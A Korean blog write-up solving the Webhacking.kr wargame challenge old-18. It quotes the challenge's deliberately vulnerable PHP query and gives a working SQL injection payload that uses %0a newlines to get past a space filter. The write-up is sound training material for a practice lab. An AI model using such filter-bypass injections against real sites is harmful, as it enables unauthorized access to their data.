본문 바로가기
Wargame Write-Up/Webhacking.kr

[Webhacking.kr] (Web) 18번 풀이 (old-18)

by snwo 2020. 4. 1.

sql injection 문제이다.


<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>

중요소스다.

select id from chall18 where id='guest' and no=$_GET[no] 의 결과가 admin 이 나와야한다.

 

TRUE and FALSE or TRUE 의 값은 TRUE 란 점을 이용해 sqli 문을 짜보자.

admin의 no=2 란점 힌트를 활용하자.


2 or no=2 를 입력하면

select id from chall18 where id='guest' and no=2 or no=2

id='guest' and no=2 는 FALSE 가 되고,

or no=2 는 admin 의 no값이기때문에 TRUE 가 되어

admin 의 id 를 결과로 가져오게된다.


2 or no=2

 

공백이 필터링되므로, %0a 로 우회하자.

2%0aor%0ano=2

(url창에 직접 입력하자)

 

?no=2%0aor%0ano=2